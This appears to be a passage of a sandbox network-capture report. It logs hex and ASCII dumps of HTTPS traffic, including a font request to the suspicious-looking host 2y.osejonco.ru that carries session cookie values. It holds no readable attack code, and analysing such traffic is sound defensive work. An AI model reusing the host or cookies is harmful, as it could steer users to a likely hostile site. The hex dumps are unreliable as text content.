2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 d9 8c a2 1d 9b a8 70 25 87 11 46 eb 65 fa 72 22 79 47 8c bc e1 0d 8b 92 c1 66 b3 4d 33 f2 5d 18 55 1b 70 f3 a0 b7 1c 8d 45 19 a1 3c 9d cb 3a e4 db 6a 81 9b 45 b7 f8 c1 e1 b0 ec a7 c9 b6 74 91 bb 98 ef 21 c7 16 ca bf a1 7e 61 b5 c0 03 4a fd 6d 98 ee 1c 94 66 e3 82 64 a7 65 45 ac c3 bb 3e d4 3a f4 39 85 0a fc c7 d9 99 2c 36 4b 7b e8 71 b2 15 36 65 b8 17 34 3a 7a b4 e5 d3 ff 7f d5 b4 7b ef 7b ef ff 0f 80 24 86 93 20 8a 94 9c 42 1a 83 d4 e6 39 3a 30 c6 47 0b 8d 36 e4 39 52 d3 b9 dc 14 bb 6d d7 a5 aa 6a 43 57 ac 6d 10 5d 3a 7b f7 70 e0 8f 3f 50 eb 4f 91 42 fa c8 45 cc b6 01 dd c4 75 9a 4a 9f 0a Data Ascii: R}QC2TD5#hH2\|<1z]xZzzWp%Fer"yGfM3]UpE<:jEt!~aJmfdeE>:9,6K{q6e4:z{{$ B9:0G69RmjCWm]:{p?POBEuJ
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 13 5c a8 51 a7 45 87 2e 3d 36 9c 38 db 5f 95 2a 35 3a 74 eb b1 d7 7e 07 1c 72 8a dc a0 f3 2e bb ea 1a 85 5b be e1 b7 ae 45 16 a7 97 a6 97 a7 d7 a7 b7 df df f6 d1 c7 9f 7c fa d9 e7 5f 7c f9 d5 d7 df 7c db 5d f7 bd 64 0f 0c 27 26 a7 a6 47 33 b3 fb f6 1f 38 78 68 6e 71 69 79 65 75 6d fd e4 a9 b3 e3 8d 73 e7 af 5e bf 79 ef fe 83 87 8f b6 1e 3f f9 f3 9f 58 9a 82 86 1f 14 46 8a 40 1a 1b 7a 01 35 e4 a7 cb 42 c2 8c cb 67 c9 7e 38 c8 2a 82 f2 62 14 42 0d 1b 75 31 c1 78 4a 5e bf 2c 2b 6d 8b 27 04 9e 3e 6d e9 7b 86 76 fb 60 50 1b 34 94 88 22 33 51 bc a1 68 24 f2 32 83 65 61 3f 18 48 15 94 c8 55 27 f2 4b de c9 51 8a dc 48 4d a6 31 ea c4 68 65 e5 5d b1 81 46 26 93 b0 07 f7 31 7a 10 ab d2 82 1f 29 0c 97 2c 1d f4 28 5a 41 13 73 52 90 c2 af a0 ce 1d c8 91 f5 2a 07 8b 48 Data Ascii: \QE.=68_5:t~r.[E\|_\|\|]d'&G38xhnqiyeums^y?XF@z5Bg~8bBu1xJ^,+m'>m{v`P4"3Qh$2ea?HU'KQHM1he]F&1z),(ZAsR*H
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 5c 66 14 4e 2d cd 68 52 82 8f 80 7d 85 a7 3b df f9 4e a3 34 51 9c 16 3a d7 60 d3 dc 02 d4 08 82 04 d1 4f 32 e3 5a ab 72 dc 86 8f 14 96 37 de ad 0a aa 5f 21 4c 44 82 9a e7 f5 70 28 82 4f 23 f1 4c f0 1f 64 40 c9 5d ef 4e 34 73 9b 4f 1b c9 64 37 06 61 ef df 1b 02 4a c5 59 98 4b 0f 36 d0 5a 73 f5 66 c0 15 ed 9b ba b7 ff 63 21 49 05 47 7d 49 d8 17 b6 ee 07 ce d7 67 ec 43 6b 60 27 b7 64 26 32 b9 85 27 73 35 1c 97 af d5 11 87 28 82 6b db ba 8b 44 03 ea 74 51 f8 50 29 92 60 37 24 39 9a f2 78 10 00 7e 0c f8 fb af 87 98 f5 21 fa 03 f0 fe 0b c0 e7 1e 18 3f 20 9f 15 d5 73 9b e0 ea 0d c0 0a 55 22 1f d7 be 95 c7 07 d0 10 c0 9f 4b 7d 9f 65 ef 23 8a 59 c2 cf f6 39 45 cb af 3e 0e 84 bc 8b 2b 32 5e 84 60 79 e3 43 df da 81 bc 1f 6f ed af cd 01 69 36 13 85 22 36 87 26 df 8a Data Ascii: \fN-hR};N4Q:`O2Zr7_!LDp(O#Ld@]N4sOd7aJYK6Zsfc!IG}IgCk`'d&2's5(kDtQP)`7$9x~!? sU"K}e#Y9E>+2^`yCoi6"6&
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 47 05 cd 3a ae 14 b4 d5 6d a1 1c b7 6c fc 84 fb 09 23 4e d3 ba 7f 28 8e 71 11 b6 db ea 4b 87 c4 04 bc 1b 9b 5a 38 ec 42 13 a1 09 df 69 37 99 1a 14 18 87 12 f8 38 3f bd ee b0 ad 34 7f fe fe a1 c6 53 ee bf ff bb a3 5f be 98 44 87 d1 39 8c c2 ff 5f ff ab bd e1 99 eb 7d 62 b1 48 28 0a 09 29 77 a6 55 70 c0 46 c3 ef 87 ba fe f8 99 9d db 78 1a 36 d6 74 7b 64 aa 20 1d b4 0b da 52 ff b3 d9 6a ef a5 a3 cf 1e 4f b4 02 97 09 94 f4 54 1f b3 7b 6d d4 8f 17 ee 2b cb 6b bb f3 ea e3 59 e2 05 ad 79 b9 68 05 49 62 56 99 cd 2c 54 d4 60 96 43 2f d0 0c 20 86 46 3c ac f7 3d 89 a7 0d b5 e3 56 65 b1 b7 00 cd 75 98 87 03 be 30 f6 77 7d 37 26 c2 a1 c8 bb 23 8d 05 33 c9 a9 ba fd 4a 4e 76 e7 e9 b5 cf eb 6f f8 f9 e4 e6 e6 fd f5 f5 c0 ec 74 98 9c c3 35 07 f7 49 c9 89 8f d4 79 6c 76 39 Data Ascii: G:ml#N(qKZ8Bi78?4S_D9_}bH()wUpFx6t{d RjOT{m+kYyhIbV,T`C/ F<=Veu0w}7&#3JNvot5Iylv9
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 1e b7 78 dc ea 5c 86 71 c8 97 4a 94 2a a5 6f c4 3b 1a f7 4e 18 11 6e b1 04 9b 00 c4 4b da 94 b2 c8 52 e2 05 c3 94 d9 72 ad 27 95 4d df 48 08 4a a6 52 9a b5 26 42 67 0a 38 40 82 a1 65 99 d1 14 0a 63 bb 02 65 03 1e b3 c1 4a 4a 70 14 81 51 bf 67 c4 ef 2d e0 ae 3c b5 8f a9 a0 84 eb 9c 47 12 a6 10 45 87 23 73 0e b0 da 1e 15 0a fc c1 0e 13 a5 50 38 85 2b 3c 7c e5 bc 63 2e ba ec a4 ab 6e 93 1b ca 77 a9 b0 83 40 8e 5a fe f3 ce 37 c6 6d de 9f 7d d0 94 93 1c 3e 5e 7a f2 4c c5 39 f3 28 f5 dd e5 4a 1e bc b4 f4 ca 53 cb 9f 31 a5 e3 9e 77 42 fc 4b e4 12 ff 64 d3 65 37 bf ee 0a 29 21 1a 30 9f 2b 10 db 01 f2 b4 80 14 6f 25 7a 77 ff 40 e5 94 81 a9 41 35 1f 6c 34 47 ab 5d 80 de dd f8 70 fb 7f ad 3c 00 d4 01 16 a0 fc e6 7e 25 3f ba dc 73 f2 84 c3 1e d6 4f 02 c7 cd 8a 6e c5 Data Ascii: x\qJ*o;NnKRr'MHJR&Bg8@eceJJpQg-<GE#sP8+<\|c.nw@Z7m}>^zL9(JS1wBKde7)!0+o%zw@A5l4G]p<~%?sOn
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: d7 dd 1e 70 d9 23 9e cc b6 34 2b 7f ba bb 56 b2 21 d9 91 ec 77 96 1e fd 2a ac 74 bf da c3 fb f6 12 f9 bd 56 78 38 7d 23 10 f1 30 72 89 28 28 55 99 d2 63 97 01 87 fb 57 f8 02 a6 e7 7c ec d7 42 fb 31 97 76 f3 f4 f1 d4 d1 c9 2c 3b d9 cb 32 27 b8 e0 ba bb de f0 e9 81 c3 4d 9b c7 9d de 2b 5e aa 39 d5 f6 68 3c ca c3 b5 45 4b 26 69 35 3b 22 f8 66 00 cf 15 c3 bf a1 9f 94 ff a2 a5 42 76 c4 5f 6d a9 db 34 3d bc e8 cf ef d9 4c cd 9c 69 e9 df c1 83 ef 7e ef e7 76 36 b9 7b 7f f0 2f cd 9d dc 1c b8 ff 9c dd e9 ce e6 6c d0 89 3f 17 00 e0 55 3f 77 1e 45 08 4a c1 0e 70 80 2b 7f c4 29 43 1e 79 e5 4d ad 41 79 75 1d 85 fa 9d 91 63 fa 53 a2 5a 2d 3a 68 d9 31 27 9c 73 c2 05 97 28 dc 74 3b f0 57 d3 3d 8f cc d7 42 9d 78 06 d5 ef c4 6c 34 dd a5 c7 87 9e d3 f6 ba ba 2b 2f fb 50 c6 Data Ascii: p#4+V!w*tVx8}#0r((UcW\|B1v,;2'M+^9h<EK&i5;"fBv_m4=Li~v6{/l?U?wEJp+)CyMAyucSZ-:h1's(t;W=Bxl4+/P
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 36 87 01 2a 13 11 d9 7c 0a 28 59 6b 18 f4 5e a6 d5 a4 05 8d 26 6a 85 d4 a4 0a db ef bd f5 f5 24 41 23 8d df ff df 9f 75 de 3d 5c 2a 8e 8a 06 e5 2d 47 4d 23 29 a5 b1 31 28 ad 8d 49 e9 6c 2c 4a 6f 63 53 06 1b 87 32 da b8 94 c9 c6 a3 cc 36 fe 1a 3f a6 73 3f a9 6a 37 c6 d4 41 be bc 63 57 27 50 e1 3c 5e f4 5b 33 e8 7c 78 d1 df 1b b4 85 35 b6 5c 36 da 4a 5b 68 1b cc e0 b1 1d 08 76 00 c1 4e 20 d8 05 04 bb 81 60 0f 10 ec 05 82 7d 40 c2 21 d4 d3 c3 46 a9 70 4c 65 af 6a 46 9e cc 86 31 c4 ca 93 6e fa 8b 26 02 61 27 3c 70 a2 48 2b 19 30 64 c3 7d 1b 0d 93 af 05 36 b8 d6 89 0d 6b 21 ee 12 1d 34 b6 ec 2c 72 14 83 c2 a5 c5 b5 62 52 15 4e a0 3b bc 1e 41 92 35 ba 24 b0 77 e8 84 21 2c 04 cd 2f 1c 7f f1 34 9f d8 fd 96 90 9d 9b 4e 0a f5 5a f1 fa 4b 09 50 c3 7d 27 4d 77 ae 77 Data Ascii: 6\|(Yk^&j$A#u=\-GM#)1(Il,JocS26?s?j7AcW'P<^[3\|x5\6J[hvN `}@!FpLejF1n&a'<pH+0d}6k!4,rbRN;A5$w!,/4NZKP}'Mww
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 06 83 bb 61 7a 62 23 79 f5 3b 28 a6 5c d2 1d 3d ea ab 52 7f b3 e4 c5 8a e7 64 eb e7 db 56 a9 4a 4d 4e 76 e0 c0 e5 8f 67 a6 d1 80 5c 74 14 31 90 d2 76 77 53 81 cc 76 21 c7 06 d9 2a fd 90 78 fb 11 1e b0 6c 7b 16 1e f7 81 66 5f c9 86 78 07 ae e5 f3 a1 92 c8 76 3e f6 dd ea 77 6c b0 c9 ca 8f c0 a9 18 d9 95 b0 d2 74 0b f5 36 bb 67 96 9a 5e 08 c2 ec 5f 59 dd 1f 29 29 63 7f 76 09 e5 97 48 e8 5d f2 d6 98 90 17 6e f9 c3 53 16 8c aa 2b c1 2a 8d 58 31 50 cf fd 70 ff a0 1e a6 51 22 eb 5a 71 c5 62 86 2e 66 bd 65 dd 0b 36 b8 6d d8 71 f6 dc 7a e8 63 42 90 c8 3e a8 c9 f5 84 34 c7 20 4f 6c 24 ca fb 3c c0 f6 c8 18 df 9b 6b a7 c8 e5 b0 7d 19 a9 d8 05 3d 6e ae ac d9 c8 19 20 6f 5d 9a 62 23 46 a3 8c 62 6a f5 2e b3 82 87 30 d2 b4 99 c8 68 4c 11 a6 c2 ba 94 c3 07 d8 1a 0d 24 e8 Data Ascii: azb#y;(\=RdVJMNvg\t1vwSv!xl{f_xv>wlt6g^_Y))cvH]nS+X1PpQ"Zqb.fe6mqzcB>4 Ol$<k}=n o]b#Fbj.0hL$
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: af d6 08 f5 ba 52 1f 83 11 8c 44 af 70 d0 f8 f9 de 3a 8b 49 d2 46 fd 16 da 55 b0 0c 6a dd 10 5f 4a 41 41 89 e4 f8 97 16 36 ed c3 ef 99 de f6 51 01 96 66 e6 a7 06 d4 cd 83 c0 f2 ba bf 84 b5 69 1d 3c 31 46 2a 3b 9d b5 03 b9 b3 6d bd ab 4c c2 7c 42 09 c5 39 09 c8 ef 63 09 78 83 6f 48 a6 3b 90 83 18 25 79 72 47 76 61 ce 4c 5a 32 c0 de 11 19 13 b2 8b 01 14 50 48 67 17 c1 40 9f db d1 a2 30 99 cc 05 c2 9a d3 ff a9 3e ad 38 62 c6 8e bc ff 60 25 ac b5 5f 29 60 4d 64 62 88 b5 75 68 36 25 a7 c5 8e 03 24 9a 35 ce 03 45 e8 95 1f d1 53 2c 89 12 45 38 ef 68 4d c8 41 86 ad 65 02 ba 80 91 0a 3e b2 ef 49 f7 d3 6e 28 e2 5d dd 8f 29 2e 26 69 14 e7 02 2c 7b 38 8a 58 2e 78 32 56 f5 90 cb c2 fb 4c a6 c2 43 26 f9 51 57 dd 88 a8 44 c8 d2 8c 7f 2d 77 c2 40 5d 4d d6 a6 22 1b 0c 00 Data Ascii: RDp:IFUj_JAA6Qfi<1F*;mL\|B9cxoH;%yrGvaLZ2PHg@0>8b`%_)`Mdbuh6%$5ES,E8hMAe>In(]).&i,{8X.x2VLC&QWD-w@]M"

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:59 UTC	1360	OUT	GET /GDSherpa-regular.woff HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive Origin: https://2y.osejonco.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
2025-03-16 23:37:59 UTC	1168	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:59 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff" Last-Modified: Sun, 16 Mar 2025 22:49:34 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8TncUN%2Fr6xQQaShimtDIu3Bw%2B5NpaZcY4ysYsmpRftrkxGun6pp9hRLVXeaIJ%2BKe%2FhCHeLd3RUN%2Fy9Q964TUckiU%2Bw26W9oYvHM3zEsSNtmAksVT32XgvmSEbums0o3aQ5pe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=375&min_rtt=354&rtt_var=113&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2322&delivery_rate=10422680&cwnd=252&unsent_bytes=0&cid=f0ee4e4f24d5492d&ts=13&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 921814e53c8a42d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2073&min_rtt=2069&rtt_var=785&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1932&delivery_rate=1387173&cwnd=229&unsent_bytes=0&cid=568b06ea411a4b68&ts=213&x=0"
2025-03-16 23:37:59 UTC	201	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gasp
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 21 00 00 00 24 10 9d 09 5a 68 6d 74 78 00 00 76 f4 00 00 03 88 00 00 07 78 3b 0f c0 f7 6c 6f 63 61 00 00 7a 7c 00 00 03 a8 00 00 03 be 14 10 ec 74 6d 61 78 70 00 00 7e 24 00 00 00 20 00 00 00 20 03 2d 0c fd 6e 61 6d 65 00 00 7e 44 00 00 02 ce 00 00 06 27 d5 12 90 1c 70 6f 73 74 00 00 81 14 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8d a4 00 00 00 81 00 00 00 8d 19 50 02 10 78 da e5 5c 09 7c 55 d5 99 ff 4e 72 f3 5e f2 c2 0b 09 89 90 80 44 44 d0 b8 54 1c eb 82 e0 82 56 ad 02 a2 43 b5 b6 a3 b5 55 c4 5f 7f 4e c7 99 fa 6b 7f 38 8e 6d a7 88 d8 aa 68 07 51 1c 36 71 90 d6 85 c5 82 02 23 10 a3 Data Ascii: glyf"0Tlh.+headv46}hheav!$Zhmtxvx;locaz\|tmaxp~$ -name~D'post1+,prepPx\\|UNr^DDTVCU_Nk8mhQ6q#
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 41 ad 9e a0 54 0f 60 3b 00 d8 9e 0f 7e 15 00 5b 1f 78 d5 4b bd 8e 72 b3 51 ef 02 d4 b3 90 fa 03 f3 1c 60 dc 1f 4f 7d e8 4f 2a 52 1a d2 58 2e 85 fd 98 c5 47 c0 bf 65 c0 da a6 57 b2 ad dd a0 f9 93 68 7d 1c 6a 79 0a 6f 8f c7 79 02 7f 61 f3 0a f7 2f 21 6f 32 2c c1 54 b1 21 f9 c0 20 1f 18 64 81 66 b5 36 16 28 37 1b e7 39 c8 5f 80 77 17 02 93 55 38 0b fd 44 9b d3 41 23 9b 4b 4e 8b 3b 21 29 39 46 52 c0 25 3c 9b 80 3e 3e 8f f3 0b 90 b5 17 85 53 7e f5 12 f2 b4 46 db da 9c 81 96 33 d0 b2 e5 e1 56 1d 24 26 8c 16 a5 25 f4 10 bc a7 6e 68 ab 07 da ea 6e 68 6e a1 2d 9f e1 be 85 de e8 ba d2 51 57 2e ea f2 8b ee ce 84 cc cf 46 de 1c a9 2b 08 cc fd c0 ba 2b e4 69 19 6a 5d 07 df 51 02 6b 35 16 32 aa 6b 9a 80 5c 2d bf 5a 76 6d ed 0f 03 93 5a 23 bb 75 52 4b b1 c8 4d b6 60 b4 Data Ascii: AT`;~[xKrQ`O}O*RX.GeWh}jyoya/!o2,T! df6(79_wU8DA#KN;!)9FR%<>>S~F3V$&%nhnhn-QW.F++ij]Qk52k\-ZvmZ#uRKM`
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 55 6d 67 96 22 de 5a 12 3d 02 89 44 e8 ba 84 1d bb 7b 66 34 fa 76 04 dc a3 70 a8 87 ad 3c c9 cc 75 74 3e ae 56 d1 59 90 f1 26 ea 42 67 b8 25 4a 44 3f 2f b5 c7 e3 74 11 65 99 39 83 40 07 93 f6 70 eb 23 c4 8e 43 6f cf 1c 59 31 46 d2 c4 65 94 cb eb f9 4d 2a 40 e4 be db eb 6d f9 31 39 15 98 79 82 7e 89 8f 0b da b2 9f 5f 27 ff db 9d ef 70 a9 28 fb 11 64 06 04 76 a8 b5 b9 54 33 e7 91 30 ab 2f 73 2f eb 30 ae 58 de 5a fc ee b1 a1 ad f5 21 51 d8 fb 65 fc a1 e3 80 ac 56 4b a4 cb ea 83 3f fe db e6 48 49 b0 cc 04 64 16 29 4f 62 94 64 3e 2e 4f 92 64 f7 86 43 e1 e3 31 18 e7 98 14 4c 94 25 e4 fd 90 e9 7d ad da 8b 0e 69 47 da 8e 51 78 70 9c dc c1 9d 67 54 d2 d1 23 9a 28 1c 8e 74 ba 59 81 6c ea 94 07 7c cf 71 99 5b 0a ca 5a 47 19 97 48 b4 78 96 2d f7 88 ce 6a 61 fb 8f b7 Data Ascii: Umg"Z=D{f4vp<ut>VY&Bg%JD?/te9@p#CoY1FeM*@m19y~_'p(dvT30/s/0XZ!QeVK?HId)Obd>.OdC1L%}iGQxpgT#(tYl\|q[ZGHx-ja
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 16 9e 7c 28 3a a1 39 f2 10 62 fd a5 88 3e 1a f8 53 fe 25 f2 b7 9a 95 c2 3a 63 47 7a 53 a6 c8 55 21 a2 93 83 74 07 ae 83 18 cd bf 41 b9 b0 24 7a d5 f9 00 ef 06 5d 16 db b6 4a 78 11 84 0e 65 f2 36 9c c7 a0 de 49 bc 02 5a be 52 7f 8f 11 59 e5 8a 83 f5 73 22 2d 9b 79 09 4a e9 3d e4 49 d0 ce ed d0 17 86 f4 5d 86 e7 13 51 67 39 ef 81 dd d1 91 c2 21 19 97 4c 14 3c 83 b2 93 5c cf 07 6a 6d 55 9a da 6e 8c 1c 10 5b bd 1f e7 4a ba 98 0f 00 a7 03 bc 53 ef e5 96 fe 55 e9 ef 90 74 2c 16 b1 73 28 43 bc 5c 52 0e a2 b7 90 de 55 2d de 37 b3 5d 99 59 04 2a eb bd fb 7d 80 f3 5f f8 15 d0 be 0c b6 ef 66 fe 33 ff 1a f5 2e 85 6d df cc 1b 51 63 09 6f 41 e9 47 f8 03 fe 5f 48 59 25 7f c2 af 23 bf 54 62 ae 63 ae 5e f7 80 c5 5d 01 3b 3b 1f ed 97 80 02 65 28 33 9f 27 b9 7a 5e 2a 5f 00 Data Ascii: \|(:9b>S%:cGzSU!tA$z]Jxe6IZRYs"-yJ=I]Qg9!L<\jmUn[JSUt,s(C\RU-7]Y}_f3.mQcoAG_HY%#Tbc^];;e(3'z^_
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 0c b5 db bb f6 d3 63 c6 ae fa ff 46 1a a5 0f dd e3 8e 71 2d db 53 0a 4e be 18 4f ec 8d b8 fc 26 df fe 9e 30 57 a8 ed 33 57 a7 3f c7 71 02 54 cb 12 1b 7b 82 17 ba 6d 46 c6 81 33 dc 78 c9 c6 44 8f c0 b3 62 c6 1f 55 26 72 4a 97 19 4c 3b ae cd b7 63 4e d9 93 e3 37 36 5e be 64 10 1f e1 17 0e 63 54 8c a8 39 d9 fe a7 8c 53 99 8f 8c c2 fd b8 cc 98 66 88 b5 3b c2 d3 ed 15 e1 28 dc ff 68 66 4c 29 26 5a b5 a2 66 d3 ec af 31 7d 32 86 3b 2e fc c9 b5 69 29 b8 a7 bb b1 8a df ac fc 07 78 3b 38 79 50 d6 55 92 cd 5a 5b b0 8d af 95 e3 cb 4c b3 d0 2b 7a 7d 36 c9 23 d5 b1 f1 a3 ce 49 8b 6b 49 2c 67 75 cc 70 2a 23 4e 8c 15 2d 4b 9a 1f 01 a9 11 fd 16 1d ff 6a 87 9f 3a ef a1 3a 01 8e 49 f2 55 cd b9 b8 3a 1f d0 8f 2e 04 f4 a7 ef d0 cf f1 ec 61 5a 4d 0f d0 1a 5a 47 1f d1 67 54 42 Data Ascii: cFq-SNO&0W3W?qT{mF3xDbU&rJL;cN76^dcT9Sf;(hfL)&Zf1}2;.i)x;8yPUZ[L+z}6#IkI,gup*#N-Kj::IU:.aZMZGgTB
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 34 5b 88 fe 87 aa 57 b8 d5 82 47 ca e9 22 45 44 49 3f d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a d3 8d 65 9c d4 38 81 89 8c 27 91 29 4c 65 1a 93 98 cc 74 66 90 ce 4c 66 31 9b 39 cc 65 1e 19 64 32 9f 2c 16 b0 90 1c b2 59 44 2e 8b 59 c2 52 f2 58 a6 5d ac 10 37 ab 58 47 be 98 f7 b2 9a 35 14 52 c0 7a 36 52 4c 11 1b 28 a1 94 4d f8 d8 cc 16 b6 52 46 39 db d9 c1 4e 76 b1 8d dd ec 61 2f fb d8 4f 05 07 a8 e4 20 87 38 cc 11 8e 72 8c e3 54 71 82 53 9c e6 0c e7 38 cf 59 2e 70 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a Data Ascii: 4[WG"EDI?Ew(V]$)s>a2Ze8')LetfLf19ed2,YD.YRX]7XG5Rz6RL(MRF9Nva/O 8rTqS8Y.p\WJ5.nr4qp[zWb5o{>&o xL,y&d5mj
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 8a 11 6a c2 eb ea cc 3c dd a6 e7 35 4c 2f 68 b8 46 68 a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 e7 f3 fd 6a 65 eb 3d ad d1 5a e5 68 9d de d7 7a e5 fe 9d 05 42 09 b3 6c ae c0 05 f6 f5 8a 54 a2 32 17 71 31 55 a8 4a 35 aa 53 83 4b a8 69 c9 5d 9b 08 2e b5 cc a9 6b 99 5e ff af fc b0 88 34 16 b3 84 b7 49 27 c3 f2 7c 19 ef 58 a6 67 b2 d2 f2 73 15 ef b2 da f2 fd 3d 4b d2 b5 96 18 eb 78 9f f5 e4 fe c1 9c e9 2f a1 a7 8b 91 33 84 04 23 23 60 54 04 8d 88 4f 8c 89 42 e3 e1 e7 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f Data Ascii: j<5L/hFhhH$UEG)s?je=ZhzBlT2q1UJ5SKi].k^4I'\|Xgs=Kx/3##`TOBR"F]cL+k.[an3jv)=h^d`L2+_KN
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: ab fe 9f 9b 86 24 fe fd 89 f6 8d ce 12 46 c6 33 8b b8 46 32 96 3d cb c8 b8 f6 62 ed fb c4 04 fa cc a4 d6 ab 09 ff 2e e2 d7 2f 5e b4 66 01 fb ac f7 e0 9e 3b eb f1 66 eb 76 b1 3c b4 11 ca 63 19 8d c5 5b ec 02 2a 5e 6a 6f a2 6c a0 04 c8 79 91 0c 7d c0 e6 8d de 66 df 02 ac 86 31 5a a2 15 30 d4 c5 51 43 b3 30 f5 ac 6d c0 78 7a b8 aa 18 0d d2 70 94 43 89 d8 60 f6 f7 87 d1 91 0e a4 c0 c8 c6 8a e6 f3 6b 0b 95 e7 5d 4e 6d 3f 3c 7c 31 6b d5 c3 ea 69 ab cf 2d f6 19 3e 7f fd 15 76 d7 c8 fa cd 3f 1a 2a 96 e4 84 ef a7 ed 84 11 a0 52 72 88 23 2a 17 86 17 21 11 f4 2f a1 11 c8 75 63 dc 34 3e 3e 3c d1 5c 6a 64 02 ed 